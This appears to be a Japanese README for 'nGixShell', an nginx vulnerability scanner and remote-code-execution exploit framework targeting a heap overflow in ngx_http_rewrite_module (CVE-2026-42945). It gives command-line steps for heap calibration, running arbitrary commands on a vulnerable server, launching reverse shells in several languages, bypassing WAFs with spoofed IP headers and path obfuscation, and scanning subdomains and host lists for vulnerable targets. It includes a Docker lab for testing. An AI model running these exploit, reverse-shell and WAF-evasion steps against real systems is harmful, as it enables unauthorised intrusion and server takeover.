
nginx CVEスキャナー + RCEエクスプロイトフレームワーク (CVE-2026-42945 ほか16件)
nGixShell は nginx の CVE スキャナー兼 RCE エクスプロイトフレームワークです。CVE-2026-42945(F5/NVD による CVSS 3.1 8.1 HIGH)— ngx_http_rewrite_module におけるヒープバッファオーバーフロー — の概念実証と、64 件の nginx CVE をカバーするスキャナーを搭載しています。自動 HTTP プローブ、フィンガープリンティング、WAF 検出/バイパス、Web セキュリティ監査、レポート生成を備えています。
外部依存ゼロ。Pure Python 3 標準ライブラリのみ。
エクスプロイトの前提条件(最初にお読みください)。
--cmd/--shellは、以下がすべて真の場合にのみ動作します。ターゲットが x86_64 であること、脆弱なrewrite+set設定が存在すること、ASLR が無効であること、そしてヒープ/libc アドレスがその正確なビルド向けにキャリブレーション済みであること(calibrate.py→--build-file)。エクスプロイト要件を参照してください。スキャナー自体にはそのような要件はありません。
# Spin up the vulnerable lab (builds nginx from source, ASLR disabled)
docker compose -f env/docker-compose.yml up -d --build
# Auto mode — fingerprint + CVE scan + web audit (works on any arch)
python3 ngixshell.py 127.0.0.1:19321
# RCE — calibrate, restart the worker for a clean heap, then exploit
W=$(pgrep -f 'nginx: worker' | head -1)
sudo python3 calibrate.py 127.0.0.1 19321 "$W" --spray-path /spray \
--spray-mode full --json -o profile.json
docker compose -f env/docker-compose.yml restart nginx-vuln
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id > /tmp/rce.txt' \
--build-file profile.json
docker compose -f env/docker-compose.yml exec nginx-vuln cat /tmp/rce.txt
# Drop a reverse shell (IP auto-detected)
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell --build-file profile.json
# Detect and bypass WAF, then scan
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass
# Subdomain scan
python3 ngixshell.py --subdomain-scan example.com --scan-port 443
# Multiple targets from a file (one report per target)
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html
フラグは不要です — ターゲットを指定するだけで、すべてが自動的に実行されます。
TLS は自動検出されます。nginx は server_tokens off であってもフィンガープリントされます。
system()は stdout をキャプチャしません。--cmd 'id'は実行されますが、何も出力を返しません。 観測可能な副作用を持つコマンドを使用し、--verify-url http://target/pwnedで確認してください(HTTP 200 = 確認済み)。
python3 ngixshell.py [TARGET] [OPTIONS]
TARGET formats:
127.0.0.1
192.168.1.10:8080
http://192.168.1.10:8080
https://target.local
| フラグ | 説明 |
|---|---|
| (なし) | Auto — フィンガープリント + CVE スキャン + Web 監査 |
--cmd 'CMD' | CVE-2026-42945 RCE 経由でコマンドを実行 |
--cmd-file FILE | ファイルからコマンドを実行(; で結合) |
--shell | リバースシェルを取得 |
--shell-type TYPE | ペイロード: bash python perl php nc powershell(デフォルト: python) |
--upgrade-shell | シェル接続後に PTY アップグレードを自動送信 |
--verify-url URL | クラッシュ検出後、URL を取得してコマンドが実行されたことを確認(200 = 確認済み) |
--subdomain-scan DOMAIN | サブドメイン上の脆弱な nginx を検出 |
--cve CVE-ID | 特定の CVE を 1 つテスト |
--list-cves | 64 件の CVE すべてを CVSS とプローブ情報付きで表示 |
--list-candidates | ヒープアドレスの候補を表示 |
--dry-run | フィンガープリント + スキャンのみ、エクスプロイトなし |
--target-file FILE | ファイルから複数のホストをスキャン |
| フラグ | 説明 |
|---|---|
--build-file FILE | 推奨。 calibrate.py --json -o FILE による JSON キャリブレーションプロファイル |
--offsets SPEC | calibrate.py によるカンマ区切りの 16 進ヒープオフセット(例: 0x5a427,0x60e67) |
--heap-base HEX / --libc-base HEX / --system-addr HEX | 手動アドレス上書き |
--build KEY | 組み込みプロファイル(同梱されているのは DepthFirst ラボのリファレンスのみ) |
--rewrite-path PATH | 脆弱な rewrite ロケーション(デフォルト /api) |
--spray-path PATH | POST ボディスプレーに使用する proxy_pass バックエンドのロケーション(デフォルト /upload、同梱ラボでは /spray) |
--spray-mode partial|full | partial: 短いボディ + 大きな Content-Length(同梱ラボ)、full: 完全なボディ + X-Delay(DepthFirst ラボ) |
--pad-a N / --pad-plus N | + 連続の前のトリガーパスパディング(デフォルト 349 / 969、ベンダー PoC より) |
--continue-on-crash | 未確認のクラッシュ後も残りのヒープ候補を試行し続ける |
--tries N / --spray N / --body-len N | 候補ごとのトリガー試行回数 / スプレー接続数 / スプレーボディサイズ |
| フラグ | 説明 |
|---|---|
--waf-detect | スキャン前に WAF を検出 |
--waf-bypass | すべてのバイパス手法を有効化(検出も実行) |
--waf-ip IP | バイパスヘッダーでこの IP を偽装(デフォルト: ランダムな RFC1918) |
バイパス手法(--waf-bypass 設定時にすべて有効):
| 手法 | 詳細 |
|---|---|
| IP スプーフィング | X-Forwarded-For、X-Real-IP、X-Originating-IP、True-Client-IP、X-Remote-IP、X-Client-IP |
| UA ローテーション | 11 種類の実際のブラウザ/ボット User-Agent をリクエストごとにランダム化 |
| パス難読化 | ダブルスラッシュ、/./ パディング、パーセントエンコーディング、大文字小文字の変動 |
| ヘッダー大文字小文字シャッフル | ヘッダー名の大文字小文字をランダム化して WAF のパターンマッチングを妨害 |
検出対象 WAF: Cloudflare、AWS WAF、Akamai、Imperva/Incapsula、ModSecurity、F5 BIG-IP ASM、Sucuri、Barracuda、NAXSI、Fastly、Wordfence
スキャンモードで自動的に実行されます。すべてのモジュールは個別にスキップできます。
| フラグ | 説明 |
|---|---|
--skip-headers | HTTP セキュリティヘッダー監査をスキップ |
--skip-paths | パス/ファイル探索をスキップ |
--skip-vhosts | バーチャルホスト列挙をスキップ |
--skip-tls | TLS プロトコル監査をスキップ |
--path-wordlist FILE | 追加でプローブするパス(1 行に 1 つ) |
/nginx_status が公開されている場合、アクティブ接続メトリクスを解析| フラグ | 説明 |
|---|---|
--port PORT | ポートを上書き |
--tls | TLS を強制(デフォルトでは自動検出) |
--proxy URL | プロキシ: http://、https://、socks5:// |
| フラグ | 説明 |
|---|---|
--user-agent UA | カスタム User-Agent |
--auth USER:PASS | HTTP Basic 認証 |
--cookie VALUE | Cookie ヘッダー |
--header NAME:VALUE | 追加ヘッダー(繰り返し指定可能) |
| フラグ | 説明 |
|---|---|
--rate-limit RPS | 1 秒あたりの最大リクエスト数 |
--jitter MS | リクエスト間の 0〜MS ms のランダム遅延 |
--retry N | 結果が不明確なプローブを再試行(デフォルト: 1) |
--timeout-multiplier X | すべてのタイムアウトをスケール(デフォルト: 1.0) |
| フラグ | 説明 |
|---|---|
--output FILE | ログを FILE に書き込み |
--json | 最後に JSON サマリーを出力(マルチターゲット: {"targets": [...]}) |
--html-report [FILE] | HTML レポートを生成(マルチターゲットモードではターゲットごとに 1 ファイル) |
--verbose | デバッグ出力 |
終了コード: 0 — 検出なし / エクスプロイト確認済み、1 — 検出あり、クラッシュなし、または実行エラー。CI ゲーティングを想定しています。--verify-url なしの --cmd は、ワーカーのクラッシュを検出すると 0 を返しますが、これはオーバーフローがプールクリーンアップポインタに到達したことのみを証明し、コードが実行されたことは証明しません。
2009 年から 2026 年にわたる 64 件のエントリ。スコアは執筆時点の NVD/F5 アドバイザリの CVSS v3.1 基本メトリクスを反映しています(トリアージに使用する前に検証してください)。範囲は https://nginx.org/en/security_advisories.html に準拠しています。